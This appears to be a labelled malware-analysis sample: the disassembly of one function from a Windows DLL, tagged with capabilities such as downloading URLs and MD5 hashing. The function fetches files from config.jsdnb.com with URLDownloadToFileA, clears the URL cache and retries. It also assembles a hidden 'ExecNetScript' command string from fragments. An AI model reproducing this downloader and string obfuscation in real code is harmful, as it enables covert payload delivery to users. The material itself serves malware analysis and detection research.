Function at 0x10002940
Capabilities:
Download url
Get common file path
Hash data with md5
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100243b3
mov eax, dword fs:[0]
push eax
sub esp, 0xc7c
mov eax, dword [0x1002f490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x103
xor ebx, ebx
lea eax, [ebp - 0x21f]
push ebx
push eax
mov byte [ebp - 0x220], 0
call fcn.1001ca20
mov edx, dword [0x10032e7c]
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push 0x5c
push eax
call fcn.10014110
mov byte [eax + 1], bl
lea eax, [ebp - 0x220]
add esp, 8
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100029c0
mov ecx, dword [str.scversion.db]
mov edx, dword [0x10028260]
mov dword [eax], ecx
mov ecx, dword [0x10028264]
mov dword [eax + 4], edx
mov dl, byte [0x10028268]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
push 0x21
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0xc88]
push ecx
mov byte [ebp - 0xb19], bl
call fcn.10004b50
mov dword [ebp - 4], ebx
cmp dword [ebp - 0xc24], ebx
je 0x10002bee
lea edi, [ebp - 0xc88]
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 0x388], 0
mov dword [ebp - 0x3dc], ebx
mov dword [ebp - 0x3e0], ebx
mov dword [ebp - 0x3f0], 0x67452301
mov dword [ebp - 0x3ec], 0xefcdab89
mov dword [ebp - 0x3e8], 0x98badcfe
mov dword [ebp - 0x3e4], 0x10325476
call fcn.10010a20
lea edi, [ebp - 0x380]
lea eax, [ebp - 0x3f0]
call fcn.10011560
lea eax, [ebp - 0xc78]
mov byte [ebp - 4], 1
call fcn.10006080
test eax, eax
jne 0x10002ab8
mov edx, dword [ebp - 0xc88]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0xc7c]
lea ecx, [ebp + ecx - 0xc88]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10002aa7
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10002ab8
push ebx
call fcn.10001630
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x118]
push ecx
push ebx
push 0x100281d1
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push ebx
lea eax, [ebp - 0x118]
push eax
push str.http:__config.jsdnb.com_report_filemd5.php_fileres_game_dsgplay32.html
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x10002bcc
push 0x20
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0xbd8]
push edx
call fcn.10004b50
mov byte [ebp - 4], 2
cmp dword [ebp - 0xb74], ebx
je 0x10002ba2
push 2
lea esi, [ebp - 0xbd8]
call fcn.10004700
lea esi, [ebp - 0x348]
lea eax, [ebp - 0xbd8]
call fcn.10004780
mov edi, dword [eax + 8]
add edi, dword [eax]
lea esi, [edi + 1]
push esi
call fcn.10012441
add esp, 4
push esi
mov ebx, eax
push 0
push ebx
call fcn.1001ca20
add esp, 0xc
push 0
lea esi, [ebp - 0xbd8]
call fcn.10004700
push 0
push edi
push ebx
mov eax, esi
push eax
call fcn.100045c0
call fcn.10004d70
test ebx, ebx
je 0x10002ba2
mov ecx, ebx
lea edi, [ebp - 0x380]
call fcn.10007950
test al, al
je 0x10002ba2
push ebx
mov byte [ebp - 0xb19], 1
call fcn.10013b8a
add esp, 4
lea ecx, [ebp - 0xb70]
mov byte [ebp - 4], 1
call fcn.10004cc0
lea ecx, [ebp - 0xb70]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10011e17
add esp, 4
xor ebx, ebx
mov esi, 0x10
mov byte [ebp - 4], 0
cmp dword [ebp - 0x36c], esi
jb 0x10002bf3
mov edx, dword [ebp - 0x380]
push edx
call fcn.10012768
add esp, 4
jmp 0x10002bf3
mov esi, 0x10
xor edi, edi
cmp byte [ebp - 0xb19], 0
mov dword [ebp - 0xb24], ebx
je 0x10002d42
push 0x21
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0xc8]
push ecx
call fcn.10004b50
mov byte [ebp - 4], 3
cmp dword [ebp - 0x64], ebx
je 0x10002d11
push 2
lea esi, [ebp - 0xc8]
call fcn.10004700
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
test byte [ebp + eax - 0xbc], 6
jne 0x10002c73
mov ecx, dword [ebp + eax - 0x90]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
push 1
push 1
push ebx
push ebx
lea edx, [ebp - 0x348]
push edx
call eax
mov ecx, dword [ebp - 0x340]
mov eax, dword [ebp - 0x348]
jmp 0x10002c8c
mov ecx, dword [0x1002544c]
mov eax, dword [0x10025448]
mov dword [ebp - 0x344], ecx
xor ecx, ecx
mov dword [ebp - 0x33c], ebx
lea ebx, [eax + ecx]
lea esi, [ebx + 1]
push esi
mov dword [ebp - 0xb24], ebx
call fcn.10012441
add esp, 4
push esi
mov edi, eax
push 0
push edi
call fcn.1001ca20
add esp, 0xc
push 0
lea esi, [ebp - 0xc8]
call fcn.10004700
push 0
push ebx
push edi
mov edx, esi
push edx
call fcn.100045c0
lea eax, [ebp - 0xb8]
call fcn.10006080
test eax, eax
jne 0x10002d0c
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xbc]
lea ecx, [ebp + ecx - 0xc8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10002cfa
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10002d0c
push 0
call fcn.10001630
mov esi, 0x10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0
call fcn.10004cc0
lea ecx, [ebp - 0x60]
push ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10011e17
xor ebx, ebx
add esp, 4
cmp dword [ebp - 0xb24], ebx
je 0x10002d42
cmp edi, ebx
jne 0x1000306a
lea edx, [ebp - 0x328]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x328]
push eax
push ebx
push 0x100281d1
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ebx, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov dword [ebp - 0xb20], 0x3b
lea ebx, [ebx]
mov dword [ebp - 0x334], 0xf
mov dword [ebp - 0x338], 0
mov byte [ebp - 0x348], 0
push 3
mov eax, 0x100282b8
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 4
call fcn.10006520
push 9
mov eax, str.p:__confi
lea ecx, [ebp - 0x348]
call fcn.10006520
push 5
mov eax, str.g.jsd
lea ecx, [ebp - 0x348]
call fcn.10006520
push 8
mov eax, str.nb.com_r
lea ecx, [ebp - 0x348]
call fcn.10006520
push 6
mov eax, str.es_gam
lea ecx, [ebp - 0x348]
call fcn.10006520
push 7
mov eax, str.e_dsgpl
lea ecx, [ebp - 0x348]
call fcn.10006520
push 9
mov eax, str.ay32.html
lea ecx, [ebp - 0x348]
call fcn.10006520
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0x334], esi
jae 0x10002e31
lea eax, [ebp - 0x348]
push eax
call ebx
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0x334], esi
jae 0x10002e48
lea eax, [ebp - 0x348]
push eax
call ebx
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0x334], esi
jae 0x10002e5f
lea eax, [ebp - 0x348]
push 0
push 0
lea edx, [ebp - 0x328]
push edx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x10002eaa
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x334], esi
jb 0x10002e99
mov eax, dword [ebp - 0x348]
push eax
call fcn.10012768
add esp, 4
dec dword [ebp - 0xb20]
jne 0x10002d80
jmp 0x1000306a
mov byte [ebp - 4], 0
cmp dword [ebp - 0x334], esi
jb 0x10002ec5
mov ecx, dword [ebp - 0x348]
push ecx
call fcn.10012768
add esp, 4
cmp dword [ebp - 0xb20], 0
je 0x1000306a
push 0x20
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0xbd8]
push eax
call fcn.10004b50
mov byte [ebp - 4], 5
cmp dword [ebp - 0xb74], 0
je 0x10003042
push 2
lea esi, [ebp - 0xbd8]
call fcn.10004700
mov ecx, dword [ebp - 0xbd8]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xbcc], 6
jne 0x10002f43
mov ecx, dword [ebp + eax - 0xba0]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push 0
push 0
lea eax, [ebp - 0x348]
push eax
call edx
mov ecx, dword [ebp - 0x340]
mov eax, dword [ebp - 0x348]
jmp 0x10002f5c
mov ecx, dword [0x1002544c]
mov eax, dword [0x10025448]
mov dword [ebp - 0x344], ecx
xor ecx, ecx
mov dword [ebp - 0x33c], ecx
lea ebx, [eax + ecx]
lea esi, [ebx + 1]
push esi
mov dword [ebp - 0xb24], ebx
call fcn.10012441
add esp, 4
push esi
mov edi, eax
push 0
push edi
call fcn.1001ca20
add esp, 0xc
push 0
lea esi, [ebp - 0xbd8]
call fcn.10004700
xor esi, esi
push esi
push ebx
push edi
lea edx, [ebp - 0xbd8]
push edx
call fcn.100045c0
lea eax, [ebp - 0xbc8]
call fcn.10006080
test eax, eax
jne 0x10002fe0
mov eax, dword [ebp - 0xbd8]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xbcc]
lea ecx, [ebp + ecx - 0xbd8]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x10002fce
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10002fe0
push 0
call fcn.10001630
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x428]
push edx
call fcn.10005650
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3d0], 0
je 0x1000301a
push esi
push ebx
push edi
lea eax, [ebp - 0x428]
push eax
call fcn.100043d0
lea esi, [ebp - 0x428]
call fcn.10005860
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 5
call fcn.100057b0
lea ecx, [ebp - 0x3c8]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10011e17
add esp, 4
lea ecx, [ebp - 0xb70]
mov byte [ebp - 4], 0
call fcn.10004cc0
lea edx, [ebp - 0xb70]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10011e17
add esp, 4
cmp dword [ebp - 0xb24], 0
je 0x100032ac
test edi, edi
je 0x100032ac
mov dword [ebp - 0x350], 0xf
mov dword [ebp - 0x354], 0
mov byte [ebp - 0x364], 0
mov bl, 0x79
lea esi, [ebp - 0x364]
mov byte [ebp - 4], 7
call fcn.10004310
mov bl, 0x6f
call fcn.10004310
mov bl, 0x75
call fcn.10004310
mov bl, 0x72
call fcn.10004310
mov bl, 0x73
call fcn.10004310
mov bl, 0x65
call fcn.10004310
mov bl, 0x6c
call fcn.10004310
mov bl, 0x66
call fcn.10004310
mov ecx, dword [ebp - 0x364]
xor ebx, ebx
cmp dword [ebp - 0x350], 0x10
mov dword [ebp - 0xb20], ebx
jae 0x100030f5
mov ecx, esi
mov eax, dword [ebp - 0xb24]
push eax
push edi
lea edx, [ebp - 0xb18]
push edx
lea edx, [ebp - 0xb20]
call fcn.10008630
push edi
mov esi, eax
call fcn.10013b8a
add esp, 4
cmp esi, ebx
je 0x10003263
mov eax, dword [ebp - 0xb20]
push eax
push esi
call fcn.100119a0
add esp, 8
cmp eax, ebx
je 0x10003263
mov ecx, eax
call fcn.10011b50
mov esi, eax
cmp esi, ebx
je 0x10003263
push 0x100282fc
lea ecx, [ebp - 0x348]
call fcn.10004270
lea ecx, [ebp - 0x348]
push ecx
mov eax, str.pi.Ex
mov byte [ebp - 4], 8
call fcn.100042e0
lea edx, [ebp - 0x348]
push edx
mov eax, str.ecNe
call fcn.100042e0
lea eax, [ebp - 0x348]
push eax
mov eax, str.tSci
call fcn.100042e0
lea ecx, [ebp - 0x348]
push ecx
mov eax, str.pt_htt
call fcn.100042e0
lea edx, [ebp - 0x348]
push edx
mov eax, str.p:__confi
call fcn.100042e0
lea eax, [ebp - 0x348]
push eax
mov eax, str.g.jsd
call fcn.100042e0
lea ecx, [ebp - 0x348]
push ecx
mov eax, str.nb.com_r
call fcn.100042e0
lea edx, [ebp - 0x348]
push edx
mov eax, str.es_liv
call fcn.100042e0
lea eax, [ebp - 0x348]
push eax
mov eax, str.ermds.ht
call fcn.100042e0
lea ecx, [ebp - 0x348]
push ecx
mov eax, str.ml_5_300
call fcn.100042e0
lea edx, [ebp - 0x348]
push edx
mov eax, str.00_K
call fcn.100042e0
lea eax, [ebp - 0x348]
push eax
mov eax, str.P_gw61
call fcn.100042e0
lea ecx, [ebp - 0x348]
push ecx
mov eax, 0x10028350
call fcn.100042e0
cmp dword [ebp - 0x334], 0x10
mov eax, dword [ebp - 0x348]
jae 0x10003251
lea eax, [ebp - 0x348]
push ebx
push eax
call esi
add esp, 8
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
cmp dword [ebp - 0x350], 0x10
jb 0x1000327b
mov edx, dword [ebp - 0x364]
push edx
call fcn.10012768
add esp, 4
lea ecx, [ebp - 0xc20]
mov dword [ebp - 0x350], 0xf
mov dword [ebp - 0x354], ebx
mov byte [ebp - 0x364], bl
mov dword [ebp - 4], 0xffffffff
call fcn.10004cc0
lea eax, [ebp - 0xc20]
push eax
jmp 0x100032c5
lea ecx, [ebp - 0xc20]
mov dword [ebp - 4], 0xffffffff
call fcn.10004cc0
lea ecx, [ebp - 0xc20]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10011e17
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012773
mov esp, ebp
pop ebp
ret